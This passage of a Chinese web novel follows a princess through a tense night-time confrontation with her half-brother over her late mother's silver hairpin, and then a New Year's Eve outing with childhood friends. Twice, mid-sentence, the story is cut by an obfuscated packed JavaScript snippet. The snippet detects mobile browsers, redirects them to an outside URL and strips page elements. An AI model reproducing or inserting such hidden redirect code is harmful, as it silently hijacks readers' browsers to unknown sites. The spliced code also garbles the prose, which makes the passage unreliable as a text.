她目光一下睁圆,顾不得许多,拎着裙摆小跑到他面前,一把夺走了他手里的东西。 “这是我的绢人,我最宝贝的一件礼物了。” 梁钧却问她:“宫中不是禁止巫蛊之术吗?怎么还有这么一个布娃娃?” 沈燕栖嘟囔道:“这跟巫蛊之术沾什么边,这是我太子阿兄亲手为我做的,小时候我总想养一只小狗,可偏偏沾了毛絮粉尘便会咳嗽不止,阿兄为了哄我,所以亲手给我做了这个绢人。” “是吗?” 梁钧低低笑了起来,纤长的指节,挑起一节细长的纸条,戏谑地看着她问,“你太子皇兄给你做的布娃娃,你就在衣襟口袋里头塞上陈崇桢的字条?” “你还给我!” 沈燕栖完全忘记这一茬,她懊恼地咬住下唇,白玉一样的面颊染了绯色,渐渐的,这薄红烧至了脖颈,她小步至窗下通风散热。 偏偏梁钧没有眼力见,抱着手臂站在她身后懒懒散散问,“你爱他?” “只是年少春心动而已!” 沈燕栖转过身,捂着脸和他强调,“我那时候年纪小,什么都不懂。” 梁钧扫了她一眼:“可你现在不也是个孩子?” 怎么说都说不过他。 沈燕栖想明白了,年后去上的第一堂课,她要让夫子好好教一教梁钧什么叫点到为止。 有些理由听着牵强,但既然是叫理由,给出去的那一刻,由头就该消了。 干什么非要刨根问底。 她生硬地扯开话题:“你就没什么想要跟我聊的吗?今天去掖庭感觉怎么样?” “不怎么样。” 梁钧眸光一扫,瞥至那个被她捏在手心里的绢人,开始问,“你知道为什么宫里不许巫蛊之术吗?” “这不是害人的东西吗……” 沈燕栖嘟囔着说:“听崔嬷嬷讲过些旧事,好像说母后生我是早产,当时宫里有人用了巫蛊术,后来严查了一阵子。” 梁钧接着说:“陛下为此震怒,三天三夜满宫彻查,甚至处决了很多人,雷霆手腕,令人惊叹。” 这话听的有些古怪。 沈燕栖瞥了眼,又觉得他神情无异,便接着这个话说了下去。 “好像是有这么一回事……具体是哪些人,我记不清了。” 这般轻飘飘的话,落在梁钧耳边,却如同锋利匕首,蓦得刺入皮肉。 他冷笑一声。 这次,沈燕栖听的分明。 她有些疑惑地回头看着他问:“你这是怎么了?” “没怎么,不过觉得有些好笑。” 梁钧似笑非笑瞥着她:“有些人命贱如纸,便是死了也不劳贵人一记。” 听到他这话,沈燕栖蹙起了眉头,直觉他这话不好听。 她问:“你这是说的什么意思?” “皇兄,如果你有什么事,可以跟我说,没必要这么阴阳怪气的。” “那好,我问你——”梁钧站在她身后,目光逼近,沉声问她,“你叫我皇兄,是真心把我当作如同你太子皇兄那样的人,还是只是利用我,觉得我是陛下膝下唯一的皇子,能保你永世的荣光?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341128|199330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>冷不丁的质问,愈加逼近的目光,他瘦而高挑的身影重重压了下来,直逼得人喘不过气来。 沈燕栖张了张唇,想说些什么,却又忽然什么都说不出口。 是,她对他并不起于纯粹的兄妹之心。 一开始当听到父皇膝下还有位三皇子的时候,她几乎要喜极而泣的想,大乾江山终于看见了渺渺生机。 只要她握住这线生机,群狼环伺的藩王将师出无名,战乱将不会再出现,阿兄守护的江山会一直安定下去。 但她也是有对他作为兄长的孺慕之情,只是他问“是否如同对太子皇兄一般”,沈燕栖紧咬住下唇,在心里默默摇了摇头。 任何人,都不可能与她的太子阿兄比肩。 所以她无法给出一个合他心意的答案。 而沉默,迟疑,犹豫,这些情绪在梁钧眼里已经成了最好的答案。 他嗤笑一声,倒不觉得多伤心,只是觉得心里的猜想落到了实处,这世上从来都没有平白无故的好。 倒有许多平白无故的恶与怨。 梁钧渐渐收回了目光,沈燕栖却有点儿被杵到,跟个兔子似的一溜烟跑到那张贵妃榻前。 装模作样斟了一杯茶端起来小口抿着,时不时抬眼看他一眼。 这是很明显端茶送客的意思。 梁钧心下想,往后的日子,她应当不会再来烦扰他了。 正要跨步往前走的时候,铜镜泠泠,冷不丁折射出她放在镜前的一枚珠钗。 梁钧伸手拿起,握在手心里细细端详。 沈燕栖正祈祷着他走呢,没想到走一半又折了回来,她扬起眉梢,有些不客气地赶他。 “皇兄,我要休息了。” “这是你的东西吗?” 他问了,她便走过来细细的看,是支不怎么华贵的银钗,青金石镶的底,飞天纹锻造了个神女的小像。 这是雍州前十几年时兴的款式了,沈燕栖一直留着这根钗无非是因为谢皇后临终前,曾抚着她发顶为她亲手戴上这根钗。 想到旧事,她眼底弥了些伤感,边伸手拿过来变道,“是我母后给我的东西。” 她要拿,他却不给。 沈燕栖有些无可奈何的说:“这物件对我很宝贵,皇兄,还给我吧。” 没想到梁钧捏住这发簪的手发紧,连指尖都摁白,他咬着音节,几乎是一个字一个字往外蹦出来。 “你手里这只钗,是你母亲从我母亲手里抢的。” 他用词太难听,沈燕栖忍不住反驳,“你胡说,我母后想要什么没有,怎么可能会抢一只银簪?” “好,那你看清楚——” 梁钧顺手压住了她夺簪的那只手,食指略用力下翻,整个簪子在她手指“啪嗒”一打,指着宝石相连的细微处对她道: “苗疆擅银饰者,会在根处刻上自己的名字,你好好看看,这上面是什么字。” 沈燕栖睁大眼睛,看见上面果然有个很小的“梁”字。 她从前不知道还会有人在首饰上刻自己的名字,一时也不知道该怎么解释,只是仍旧为自己的母亲分辨着。 “这其中一定有误会,我母后不是那样的人。” “我母亲的遗物在你手上是误会,那你母后下令诛杀掖庭众人,是否也是误会一场?” 梁钧打断她,平淡至极的语气,却冷得像是裹了一层寒冰,气势很是阴骇吓人。 沈燕栖一下被吓住了。 正想要说什么的时候,只见眼前寒光一闪,那根银钗像是锋利的匕首,就这样笔直擦过她的脸颊撞入墙后。 这是沈燕栖头一回知道,原来这么一个精巧的首饰,还能用作杀人的工具。 她脸上的表情已经麻了,整个脑子嗡嗡作响,满脑子通通也只剩下一个念头—— 刚刚梁钧,是想要杀她的。 9. 第 9 章 09 室内又恢复寂静。 他来时未曾惊动一人,走时也轻飘飘,好似没来过一般。 只有脖颈处的红痕提醒沈燕栖发生了什么,她又恼又惧,心里头气得不行,用力推到床边的琉璃香炉。 香炉应声而碎,满宫的宫人这时候才仿若被惊醒一般,急匆匆赶紧来。 一盏盏宫灯点亮,室内烘得亮堂堂的,沈燕栖怕极了,畏缩着躲在一脚,眸光盈盈,几乎要落下泪来。 “可是做噩梦了?近日阴雨绵绵,天气不好,可要给您点上安神香?”崔嬷嬷揉了揉鬓角嘟囔道,“奇怪呢,今夜老奴头昏得很,连公主叫我都没听见。” 她斥道:“你们几个小丫头可是躲懒偷闲去了,怎么公主起夜无一人察觉,都想去领板子了吗?” 几个小丫鬟俯身跪地,都是如出一辙的口径,称自己今夜头昏,不知不觉便昏睡在门口了。 沈燕栖知道原委,她向上扯了扯被角,叫崔嬷嬷把近前的两盏灯灭下,遮住颈间的掐痕。 她闷着声音道:“其他人都退下吧,嬷嬷,今夜你陪我一起吧。” 崔嬷嬷走近了瞧她,一双杏眼微睁,水汽蒙蒙,巴掌大似的一张脸儿,看起来格外惹人怜惜。 这是她疼爱了一辈子的女娘,从牙牙学语到如今亭亭玉立。 “公主可是有什么心事?” 崔嬷嬷一眼就瞧出来她心里有事,试探着问:“可是跟三皇子有关?” 半晌,沈燕栖低低“嗯”了声,她轻声问,“嬷嬷,那座宫苑里埋葬的都是些什么人?” 崔嬷嬷脸色变了变,过了许久才叹惋。 “里面啊……都是一群无家可归的可怜人。” 自古以来在皇宫里死掉的宫人不外乎就两种结局,报宫外的家人来领,若遇上没有亲人的,便一卷草席卷进乱葬岗中。 宫里的妃嫔要好些,稍有些位份的会葬入妃陵。可偏偏死的是这一批苗国来的美人,群臣不许异族血脉玷污皇陵,时下民间盛行配阴婚,一具女尸能卖到一贯钱,更不要提容貌秀丽的。 谢皇后命人剪下她们的一缕头发,带回苗国故土埋葬,尸身就地掩埋,春去秋来,荒芜的土壤上绽开一簇簇新生的花。 沈燕栖垂下睫毛,颤着声音问:“那梁美人的尸身……当真在那口枯井里?” 崔嬷嬷一下不说话了。 她脸上的表情几度变化,到最后难言地看着她。 沈燕栖偏了下头,目光有些疑惑,下意识追问,“嬷嬷可是知道些什么内情?” “都是陈年旧事罢了,不值一提。” 崔嬷嬷眼光一闪,“呦”了一声,伸手翻过她衣领来看:“公主这颈子是怎么了,怎么红了这么一大片?” 看得出她话题转得生硬,沈燕栖适时闭上嘴,没再继续往下问。 “没什么,有些发痒挠了挠而已。” 崔嬷嬷拿了宫灯下去给她找药,弯腰的时候掩藏在黑暗里的眸闪了下,状似不经意问道:“公主怎么忽然对这些陈芝麻烂谷子的事情感兴趣了?” 沈燕栖勉强笑了笑,说了句“没什么”,过了会儿,她慢吞吞从枕头下摸出一支发钗递过去。 簪上有血,她刚刚偷偷藏在手心里擦拭了好一会才敢拿出来。 “嬷嬷,你仔细看看,认不认识这个东西。” “是娘娘少时最爱的一支发钗。” 崔嬷嬷是从谢家跟着过来的,对谢皇后的一切东西都记得清清楚楚,连半分模糊都没有。 见到旧时物,她脸上也有些感伤起来。 “那是皇后娘娘还在谢家的时候,她去谢家书院读书,和一位求学的姑娘结为好友,两人以珠钗相赠,亲密无间。” 沈燕栖惊讶极了。 连声音都提高了些:“你是说,这是阿娘在谢家时候就有的物件?” 那这不就说明……她阿娘和梁女,在还没入宫前就相识? 崔嬷嬷瞥了她一眼:“这有什么稀奇的,谢家书院名满大乾,每年远道而来求学的人,多得要排满整条朱雀大街的。” “好啦好啦,快些睡吧公主殿下,小小的人成天想那么多事,于身体无益处的。” 离沈燕栖最近的一盏宫灯被吹灭,崔嬷嬷轻轻拍着她后背哄着她睡下。 沈燕栖翻了个身,侧身闭上眼睛,却是怎么都睡不着。 这簪子是梁钧母亲相赠,这簪子又是阿娘在谢家闺中时的旧物。 可为什么会出现在掖庭旁的枯井里,还是苗国美人葬身之处? 难道……是为了掩藏某个人真正的埋骨之地? 沈燕栖“噌”得一下坐起来:“嬷嬷,我得去谢家一趟!” 夜里,她这么来一下可把崔嬷嬷吓了一跳,不过比起惊吓,她脸上惊喜的神色更盛,从身下翻出火折子,又把那盏宫灯点燃。 拎着凑近打量她的神色,惊讶道,“小殿下,您终于愿意回谢家了?” “不过也得把这个年过完再走呀,不然陛下要不乐意喽。” * 敲定去谢家的行程匆忙,忙着忙着不觉就到了除夕夜。 这一夜,沈韶煦早就来长乐宫等她一起去慈宁宫中拜年。 沈燕栖因为前一夜失眠到缘故,早上贪睡了些,起的也晚。 沈韶煦夜困,进来踢掉鞋子,侧身躺在她那张贵妃榻前睡觉,一点也不带客气的。 崔嬷嬷进来捡起绣花鞋,有些无奈地叹口气,刚想要说话,便见沈韶煦捂着耳朵开口。 “我知道我是长辈,应当给承德起到好榜样,可是崔嬷嬷,就算没有我,你们家承德也不是什么乖巧女娘。” 沈韶煦挑着眉兴冲冲问她:“怎么样,等会出不出宫玩?” 出宫沈燕栖自然是想的,只是她身子不好,很少有这样的机会。 沈韶煦向她打包票:“只要你想去,我今晚一定求皇兄恩准,” 有她这句话,沈燕栖一下就心安了。 沈韶煦比她年长几岁,是太上皇移居别宫时和庄太后生下的最小的一个女儿,也因此翊文帝最为宠爱她。 比起宫里其他两个姊妹,沈燕栖也和这位姑姑关系最要好。 除夕日,满宫里都挂了红通通的灯笼,沈韶煦早早便牵着她来太极殿拜见,她伸出手,嬉皮笑脸朝着上座的皇帝讨要红封。 “福延新日,寿禄延长,皇帝哥哥,快快给红封。” 皇宫一年到头才有这么热闹的一回,翊文帝看着自己这个怎么也长不大的妹妹,无奈地笑了笑,招招手,让人把提前准备好的赏赐发下来。 “你和阿绥一人一份,她的那份你给她。” “好呀,我还想向皇兄求个恩典。” 沈韶煦笑吟吟道:“晚上的宴席太无聊了,阿晏不想去,皇兄,你准我出宫玩吧,今夜雍州不宵禁,可谓是热闹非凡。” “你哪年老老实实呆在宫里了?” 翊文帝挑眉看她:“说吧,还有什么鬼主意?” “还想……把阿绥一道带着,听说她这几日都在宫里头不出门,想必是闷着了。” 翊文帝哼笑一声:“那是阿绥性子文静乖巧,哪像你,皮猴子似的上房揭瓦,还做姑姑的人呢,一点也没起到表率,不过……” “阿绥是该出去走走了,不知道是不是这段时间拘在宫里闷坏了,居然都看上了韦家那小子。” 翊文帝“啧”了声:“你要为她多把关,我的阿绥,要嫁也应当嫁这世上最杰出的郎君,岂是一些昏庸子弟配得上的。” 沈韶煦歪头问:“什么算是好郎君?” 翊文帝想了想说:“我瞧章行舟就不错,谢大儒的唯一弟子,立如芝兰玉树,笑如朗月入怀(1),称得上是当世君子,文采斐然,资荣无双。” “的确。”沈韶煦摩挲着下巴道:“不知道这样的好郎君有没有许人家,皇兄,你要不然替我打探一二?” “朕一国之君,岂能做这种事。” 翊文帝不赞同地瞥了她一眼:“阿晏,这话说出口又要叫百官苛责了。” 沈韶煦从来不管什么百官,御史台那群老臣的唾沫星子也淹不死她,挥一挥手她依旧是雍州城最明媚的女娘。 她哼了一声,扯着翊文帝的袖子撒娇道:“皇兄,你究竟帮不帮我嘛。” 翊文帝清咳一声:“这事儿福清给你打探。” 福清“哎”了声,应声领命:“长公主殿下您就放心吧,这事儿奴婢给您打听的门清。” 沈韶煦在宫里闹了一圈后又回了长乐宫,跑的气喘吁吁,一坐下来就喝了两杯茶水。 喝得急了些,又觉得茶水烫嘴,找了把扇子拼命地扇风。 崔嬷嬷就跟在她耳边念叨:“长公主殿下,刚吹了凉风又来扇扇子,小心得风寒。” 沈韶煦摆摆手不甚在意,解了大氅凑过去看,沈燕栖歪歪躺在床榻上,手里拿着一本书在看,神情恹恹,气色看上去并不太好。 她叹了口气:“怎么几日不见,你又憔悴了?” “快快梳妆,皇兄已经同意了,现在我就带你出宫玩去!” “今夜朱雀大街有驱傩看,驱傩你见过吗,傩翁傩母在前面领队跳舞,大家戴着各式各样的精怪面具,驱邪避灾,再饮一壶热热的春桃酒,刚好祛祛你身上的病气。” 崔嬷嬷也跟着附和:“是呀是呀,公主跟着一道出去玩玩,省的天天窝在宫里头瞎琢磨,思多伤身呐。” “您快把阿弦,鸣玉和衔霜几个小丫头都带出去见见热闹,他们几个翘着脑袋盼了一整个白日了。” 沈燕栖问:“嬷嬷,你不跟我一起去吗?” 崔嬷嬷笑着说:“我这把老骨头还凑什么热闹啊,偷个闲歇歇便成了。” 沈燕栖赶紧拉住崔嬷嬷的手:“您哪里老了,花灯盛会一年才有一次,您跟我们一块儿出去瞧瞧,嬷嬷你不是最爱喝热酒了吗?” 崔嬷嬷讪笑了两声,搓了搓手。 这才低声道:“不瞒两位殿下,晚间我约了几位老姐妹打牌九……” “感情嬷嬷早就有了安排,小绥儿,你这还有什么犹豫的,早些起身梳妆,咱们呐,及时行乐才为真。” 沈韶煦一拍手掌,径直拉着她出了宫门。 她做事爽快利落,人也风风火火,边走边喊了鸣玉衔霜两个丫鬟一并跟着上了马车,整套动作快得惊人。 等沈燕栖反应过来,她已经被稳稳当当安置在出宫的马车上。 马车行进在宽阔的官道上,一阵长长的马蹄声扬起又落下,沈韶煦忽然撩起帘子,兴味地朝她招招手。 “阿绥,带你见一位故人。” 沈燕栖循着她手指的方向望过去,只见道路的尽头,一匹棕红色的马儿卷着马尾晃荡着,骏马之上,一袭暗红色骑装的男人恣意从容,夜色遮掩住了他的面容,却遮不住满身的少年意气。 她惊呼出声:“段明诀!” 也是她声音落下的这一秒,段明诀纵马来到她身边,他勒紧马绳,不吝的眉眼,微微俯下身,透过马车窄小的窗户,懒洋洋地看着她笑—— “阿绥妹妹,好久不见。” 听到这句话,沈燕栖却蓦然湿了眼眶。 是有好久不见了。 幼年,他,太子阿兄,还有她,再加上沈韶煦,他们五个人是皇宫里形影不离的伙伴。 如今山河漂泊,一切都变得支离破碎起来,再见故人,那些往日的欢愉时光又浮现在眼前,居然有了大梦一场的飘忽感。 段明诀轻声对她道:“抱歉,我还是未能寻到你阿兄的遗骸。” 遗骸这两个词,深深刺痛了沈燕栖的心。 她狠狠一颤,面上却扯出一抹淡淡的笑,宽慰他,“没事,你已经做得很好了。” 一场败仗,打碎了大乾所有虚荣的自尊心。 在朝堂无人敢出言之时,段明诀挺身而出,不顾圣意,自愿携府中亲卫,重返长安岭,只为寻得太子遗骸。 沈燕栖知道,他此举不仅仅是为了全皇室体面,更是为了他们的幼时之情。 她发自内心对他说了句:“多谢。” “不说这些,阿绥,我知道太子去了,你必然心里难过,我快马加鞭日夜兼程赶过来是想要告诉你……你还有我。” “我愿做你的马前卒,殿下臣,为你守好江山。” 段明诀快快说完大段的话,已然是脸色发红,好在天光不显,夜色霜寒。 沈韶煦坐在马车里听了几句,却觉得云里雾里,干脆撩帘子问,“段明诀,几个月不见,你怎么扯得越来越没边了,好端端的跟我们阿绥说什么臣子江山的,今晚我们便痛痛快快过节,不谈其他知道吗?” 段明诀“哎”了声,一勒马声,汗血宝马高高扬起马蹄,他在空中甩了下发尾,扬起笑,朝车上的沈燕栖缓缓伸出手。 “阿绥妹妹,我带你策马看遍雍州如何?” 沈韶煦在后面不服气地喊:“段明诀,你怎么不带我骑马呢?” 段明诀挑起眉毛看她:“那你也上来?” “不,本公主更喜欢自己骑。”沈韶煦解开马车,翻身一跃,英姿飒爽,朝他们远远招招手,“那就——玄武门前见!” 沈燕栖上一次骑马的记忆,还是在十二岁生辰那一年。 段明诀不知道从哪里寻来了一匹珍珠白的小马,马儿性格温柔,她骑上去也不会觉得害怕。 那时候他牵着她的马慢慢的走,恰巧沈临铮下朝回来,揶揄道,“我们不可一世的段小将军也甘愿做牵马人了?” “你笑我?”段明诀毫不客气反击回去,“我昨儿还听说你为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341129|199330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了给阿绥准备生辰礼,足足缠着宫人问了一宿。” 如今又骑上马,她心情有些沉了下来。 马蹄声重重落下,溅起满地尘埃,呼啸的风自脸庞刮过,段明诀略一抬手,将她面庞微微向衣襟处压了压,低沉的嗓音似乎就贴着耳边传来。 “还有——”他继续刚刚没说完的话,“太子的仇,我绝不会忘。” 沈燕栖紧紧咬住下唇。 她就知道,这世界上,唯有段明诀懂她的一切。 好半响,她才找回了自己的声音,涩着嗓音开口,“阿诀,不要。” “你不要背负仇恨。” 段明诀语调轻松:“我若不背,那你不就要背了?” “阿绥,一切交给我,你只要永远快快乐乐的就好。” 可沈燕栖已经没办法再快乐了。 她预见了自己的命运,预见了整个大乾的命运,却窥不见其中的奥秘,有时候她也会在想,知道结局这件事,对于她而言,究竟是福还是祸? 马行至闹市区,段明诀翻身下马,单臂将她抱下。 他瞧来瞧,掏出钱袋,找街边摊贩买了两个面具。 “阿绥,过来瞧瞧,你喜欢哪一个?” 沈燕栖许久没在这样热闹的日子里出宫了,她看什么都新鲜,就觉得眼前人挤人的场景也有趣。 听见段明诀喊她,便小步跑到他身边,目光发亮地盯着小摊上一众色彩鲜艳的面具。 原本打瞌睡的小贩一见来了生意,顿时精神起来,他一抬头,乖乖,哪里来的两位贵客,郎君气度不凡,身旁的这位小娘子更是容颜无双,真真是一副好颜色遮也遮不住。 他赶紧把藏在底下的稀罕好物拿过来。 沈燕栖歪着头问:“店家,请问我可以试试吗?” “贵客,自然是可以的,您想试多少就试多少,这还有铜镜,您可以照着瞧瞧。” 沈燕栖挑了会,指着面前一个小兔子形状的道,“那我就要这个。” 段明诀利落扔了一贯钱过去:“马放你这儿了,劳驾替我看好。” “放心吧,贵客。” 段明诀低头温柔看着她道:“阿绥,我替你戴上。” 沈燕栖仰起头,目光朝他身后的灯火看,一边看一边听段明诀的声音落在头顶叮嘱,“今日人多容易走失,你一定要牵紧我。” 她又不是小孩子了,又不会认不识路。 沈燕栖跑到前面,笑嘻嘻地扭过头冲他做了个鬼脸。 “阿诀,我看你如今也算是崔嬷嬷的得意门生了。” 段明诀起先没品出这段话的意思。 后来他反应过来了,这姑娘,是变着法子嫌他唠叨呢。 他忍不住失笑,懒散地跟在她身后,看她在街头火戏前看的不亦乐乎。 过了会儿,人渐渐多了起来,渐渐的,行路不通,比肩接踵,好几回沈燕栖都被人挤着踉跄。 段明诀想了想,牵着她的手哄道,“我带你去城墙上放灯好不好?” “我提前叫人为你占了个极好的位置,戌时一起,满城灯火奔向天际,叫神明听见心中祷告,必然心想事成,听说雍州的娘子们都爱放这个。” 沈燕栖心意微动,应了声“好”。 她和他一起登上了城楼,二层高的城楼,角落里有好几家卖花灯的,各种颜色晃得人眼花缭乱。 沈燕栖定睛细瞧了一番,忽然指着偏僻角落里的一个老妪道,“我们就买这家吧。” 段明诀自然没什么意见,出来玩,他就负责两件事,左手牵着他的阿绥妹妹不走丢,右手负责掏钱袋子付钱。 这个摊位很小,又藏在没有光的角落里,所以很难让人发现。 又因为卖的都是粗薄纱制成的孔明灯,款式简单,颜色灰朴,所以光顾的人寥寥无几。 沈燕栖半蹲下来:“阿婆,这个灯怎么卖?” “一文钱一个,先写字,写完了我制灯。”老妪颤颤巍巍递过一根开叉的毛笔,“小娘子,把字写在这上头就成,写了保管你心想事成,事事顺遂。” 听了这话,沈燕栖喜笑逐开。 她一口气写了好几张,段明诀凑过来问,“有没有给我写一盏?” “当然有了,你怎么就写了一个?” “我又不想你,挂念的人有那么多。”段明诀说着捂住自己的纸,写完了赶紧塞进老妪手里,拉着她不许回头看。 沈燕栖撇撇嘴,不知道他在害羞什么。 “这盏是给陛下皇后的,这一盏是给长公主的,这一盏是给崔嬷嬷他们的,那还有两盏,你是给谁的?” “一盏是给天下万民,我祈祷来年风调雨顺,战事不起,还有一盏……” 沈燕栖抿住唇,闷着声音说,“给一个讨厌的人。” 段明诀笑起来:“讨厌他,还给他送灯祈福?” 沈燕栖跺跺脚:“反正,就是讨厌他!” “我放灯是因为看在阿娘的面子上!” 如果按照崔嬷嬷所说,阿娘应该和梁钧的母亲是旧友,那么对于故人之子,于情于理,她都该照拂一二。 反正一盏灯也不值几个钱。 反正梁钧也不会知道这件事。 沈燕栖轻哼一声,在梁钧的那盏灯上狠狠戳了好几个墨印,然后也跟段明诀一样,偷偷摸摸塞进了老妪身旁。 她拉住段明诀,挡住他频频窥探好奇的目光。 “好啦,看夜景,不许看灯了!” …… “小郎君要买一盏灯吗?” 见有人靠近,老妪哑着声音招呼起来,手上编制的动作不停,在她脚边还堆着几个半成形的灯光——都是刚刚接的“大单”。 “不要。” 梁钧冷声拒绝,他不习惯这热闹场景,只觉得人生嘈杂鼎沸,令他心生烦闷。 他抬手扶了下面具,没注意,踢到了脚边的灯笼,几个圆润润的竹编架滚做一团,老妪惊呼一声,慌忙站起来拿。 梁钧说了声“抱歉”,弯腰帮着她捡起来。 谁知道看见了自己的名字。 他愣了一下,恰好老妪向不远处呼喊,“贵人,你的灯制好了一盏,可以拿来放了。” 梁钧下意识寻声像远处望去,只见一片烛光明亮之处,一袭粉色罗裙的沈燕栖小跑而来。 她脸上戴着一个灵巧可爱的兔子面具,即便被遮住了整张脸,那双灵动狡黠的眼眸,也能令他一眼认出。 他蓦然想到了刚刚看见的灯盏,如果说刚刚还能欺骗自己是一个巧合,那么此时此刻在这里看见她,一切都变得不再巧合。 甚至是不可思议起来。 沈燕栖居然也为他请了一盏灯。 而那盏灯上写着—— 「世界上最讨厌的梁钧要幸福顺遂」 10. 第 10 章 10 除夕夜,雍州又渐渐飘了些雪。 沈燕栖伸出手,惊呼一声,“又下雪了。” 都说瑞雪兆丰年,雍州今年一连下了好几日的雪,看来是要有个好兆头了。 沈燕栖脸上漫了点笑意,她低下头,要摸钱袋给这老妪结账,也没注意到面前拐角阴影处站了个人。 冷不丁撞了上去,额头吃痛,面具“咣当”一声掉了下来。 她赶紧说:“抱歉。” 对面却没人理她。 沈燕栖目光自然而然落了过来,只见来人身长挺立,戴着一只青色獠牙面具,乍一看像鬼魅,细一看,更觉得可怖。 她吓得向后退了一步,恰好段明诀听见动静走过来,手臂撑了一下她的腰,关切问,“怎么了?” 沈燕栖扯了扯唇:“没什么,面具掉了。” 她刚要弯下腰去捡,对面已经抢先一步,将掉落在地的面具捡起来,擦了擦,伸手递给她。 沈燕栖小声说了句:“谢谢”。 再抬头,这人已经消失不见。 段明诀提议:“等会放完灯,我们去馆子里吃顿汤丸吧,刚刚长公主遣人来传信,说再那里等我们。” 沈燕栖自然说好。 最后一盏灯,她在后面又悄悄添了两行字,是写给自己的。 「莫问前路,前程万里。」 * 回皇宫的时候,没赶上群臣共乐的外宴,却将将赶上了慈宁宫的内宴。 这除夕夜里的宴会分两场,一场是给群臣的,由皇帝起个头,赐下各种珍馐美食,群臣共饮共乐,叫守岁开宴。 不过传到翊文帝这儿各项流程都简洁许多,令宫人赐下食物,他挥挥手,便恩准群臣各自返家,同家人贺岁过年去了。 而他自个,也拎着礼物,亲去慈宁宫,像太后拜年贺岁。 这在慈宁宫的一场宴会,便称为内宴。 当今太后其实并不是翊文帝的生母,翊文帝出生不到两年,母亲便早逝,成年后他一个人被打发至偏远封地,其实连其他几个兄弟都不曾见过几面。 太后原也不指望他真的将她视作亲母,能给几分薄面维持体面便可,没想到翊文帝孝心重,礼数从不有失。 宴会上,庄太后欣慰地看着他,却又长长叹一口气道,“陛下仁善,可偏偏又太仁善。” 翊文帝躬身听教:“儿不明此话,请母后赐教。” “你厚待你那十一个兄弟的子侄后孙,这本无可厚非,但帝王讲究恩威并施,一味恩宠只会令他们生出不该有的心思。” 翊文帝答:“儿也命人前往各地巡查,不似有动静的样子。” “江山动荡,等察觉,那才是真的为时晚矣!” 庄太后语重心长道:“大乾十五道,诸地皆有藩王驻扎,这些年先皇诸孙皆以长成,与各地世家门阀通婚,势力盘根错杂,便说这河东道,就有先太子之子,现肃王驻守。” “前段时日我得了消息,他娶了韦家族中的小女儿,韦家出过三代皇后,皇帝,你该警惕起来了!” “肃儿成婚的消息月余前曾通晓过我,他同我说他外出打猎,与一女子一见钟情,后来才知道是韦氏女,如此门当户对,也是佳偶天成。” 见庄太后脸色不虞,翊文帝赶紧道:“儿多谢母后提点,必会注意河东道及韦氏一族的动向。” 庄太后“嗯”了声:“若有必要,皇帝可先下手为强。” 翊文帝脸上一震:“可……那是母后您的亲孙子,儿这些年一直厚待,也是因为顾念母后天伦之乐。” 庄太后怎么能不明白他的苦心,这位仁慈宽厚的皇帝,顾念她这个失去十一个儿子母亲的心,所以对他们留下来的后代也多加照拂。 但庄太后明白,自己坐在这个位置上,不仅仅是一位母亲,更是太后。 她放下佛珠,闭上眼睛,沉声道,“我这样做,便是不想再重蹈当年诸王相争惨案。” …… “阿娘,我和绥儿回来了!” 慈宁宫前热闹了起来,沈韶煦向来是人没到声先至到主,听到她声音,庄太后脸上绽了笑意,赶紧伸出手,将人抱在怀里。 “哎呦,你这没规矩的祖宗可算是回来了,让我和皇帝在这里苦等,来人,开席!” 沈燕栖紧随其后,她手里拎着一盏荷花形状的宫灯,见翊文帝在,笑着行了个礼。 “父皇,看我的的灯好看吗?” “好看,你若喜欢,我叫人给你宫中每一处都挂上。” “父皇,我和阿晏还给你带了一份礼物呢。” 说着,沈燕栖命身后跟着的宫人把东西拿出来,两个宫人并执一副画卷两端,片刻,一幅雍州风水图便出现在画中。 画面之景是雍州最繁荣的两条主干道,只见今夜檐下初雪,街头小贩鳞次栉比,穿梭而过的人群中脸上洋溢着欢欣,正是一幅安居乐业之态。 翊文帝赞了声“好”。 感慨道:“这便是我毕生所求啊。” 百姓不再流离失所,人人不再担心战乱之苦,有家可归,有人在等,风雨飘雪中,亦有对生活的心向往之。 “不过,你怎么又没大没小喊她的名字了?”翊文帝话音一转,“阿绥,她可是你的姑姑。” “就是姑姑让我这么喊的。”沈燕栖毫不犹豫把锅都推到沈韶煦身上,她鼓着脸说,“长公主殿下嫌弃我把她叫得老了,特许我叫她阿晏。” 翊文帝刚要斥责沈韶煦没大没小,就见这丫头一股脑躲进了庄太后的怀里。 庄太后笑呵呵的:“好了,今夜守岁,不许苛责孩子们。” 见自己妹妹总是一副嬉皮笑脸的样子,翊文帝无奈地叹了口气,宠溺地看着她说,“阿晏啊,你这个名字,还真是取对了。” “你出生那天,第一个抱你的还是阿兄我,寻常人家的孩子生出来便啼哭不止,只有你咬着个手指头咯咯笑个不停,那时候父亲要我为你取个小字,我说那便定晏吧,言笑晏晏,一生欢愉。” 听完这个故事,沈燕栖有些好奇地问,“父皇,那我的字,是谁取的?” 翊文帝想了下,拍了下手掌,心情颇好道,“说来也真是巧了,你的字,也是你阿兄取的。” “你出生那日下了好大的雪,身体骨又弱,一连生了好几场病,宫里的太医全都守在殿内,生怕你熬不过这个寒冬。你阿兄最是挂念你,寸步不离守在你榻前,那时候怕名字起得太大压住了你,我便让你阿兄给你先取个字,他足足想了三日才想出个答案。” 